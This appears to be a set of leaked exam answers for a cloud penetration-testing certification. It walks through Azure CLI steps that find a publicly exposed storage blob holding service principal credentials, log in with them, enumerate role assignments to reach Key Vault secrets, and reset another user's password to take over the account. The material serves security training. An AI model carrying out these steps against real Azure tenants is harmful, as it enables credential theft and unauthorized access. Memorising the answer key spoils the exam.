Important The SecOps Group CCPenX-Az Exam Questions

Answer: A

Explanation:

allowBlobPublicAccess: true

Detailed Solution:

Run:

az storage account show \

--name prodreportstore01 \

--resource-group rg-prod-apps-eastus \

--query '{Name:name,AllowBlobPublicAccess:allowBlobPublicAccess}' \

--output json

Expected output:

{

'Name': 'prodreportstore01',

'AllowBlobPublicAccess': true

}

This means public blob access is enabled at the storage-account level. That does not automatically mean every container is public, but it permits public container/blob exposure if configured.

================

Answer: A

Explanation:

Detailed Solution:

Use the app registration credentials recovered from blob storage.

az login --service-principal \

-u '<client-id>' \

-p '<client-secret>' \

--tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Confirm that you are authenticated as a service principal:

az account show

Now enumerate role assignments for the app registration.

az role assignment list \

--assignee '<client-id>' \

--all \

--output table

If the --assignee lookup fails, first resolve the service principal object ID:

az ad sp show \

--id '<client-id>' \

--query id \

--output tsv

Then query role assignments by object ID:

SP_OBJECT_ID=$(az ad sp show --id '<client-id>' --query id -o tsv)

az role assignment list \

--assignee '$SP_OBJECT_ID' \

--all \

--output table

The assigned role is:

Key Vault Secrets User

This role allows the principal to read secret values from Azure Key Vault. That is the lateral movement path into the final flag.

Final Answer:

A . Key Vault Secrets User

================

Answer: A

Explanation:

Tenant ID: 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Subscription ID: 5d8e44ac-24a9-43d9-9cb5-71b227a58021

Detailed Solution:

Log in with the supplied account:

az login -u james.ward@cloudcorpsec.onmicrosoft.com -p ''

Show the active Azure context:

az account show --output json

Expected relevant output:

{

'id': '5d8e44ac-24a9-43d9-9cb5-71b227a58021',

'name': 'CloudCorp Security Lab',

'tenantDefaultDomain': 'cloudcorpsec.onmicrosoft.com',

'tenantId': '8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a'

}

The tenantId is the Microsoft Entra tenant ID. The id field is the subscription ID.

================

Answer: A

Explanation:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Detailed Solution:

As the second compromised user, enumerate directory users:

az ad user list --output table

Use a cleaner query to show names, UPNs, and job titles:

az ad user list \

--query '[].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle}' \

--output table

You should identify a target user whose profile contains a flag in the jobTitle attribute.

The important target is:

lila.nguyen@azuresecops.onmicrosoft.com

Her jobTitle field contains:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Because the compromised user has User Administrator, you can reset this target user's password and later authenticate as her.

Final Answer:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

================

Answer: A

Explanation:

service-principal-creds.json

Detailed Solution:

Set variables:

ACCOUNT='prodreportstore01'

CONTAINER='sensitive-exports'

SAS='?sv=2025-01-05&ss=b&srt=sco&sp=rl&se=2026-08-01T00:00:00Z&sig=<signature>'

List blobs:

az storage blob list \

--account-name '$ACCOUNT' \

--container-name '$CONTAINER' \

--sas-token '$SAS' \

--query '[].name' \

--output table

Expected output:

Name

----------------------------

monthly-report.csv

service-principal-creds.json

readme.txt

The credential file is:

service-principal-creds.json

================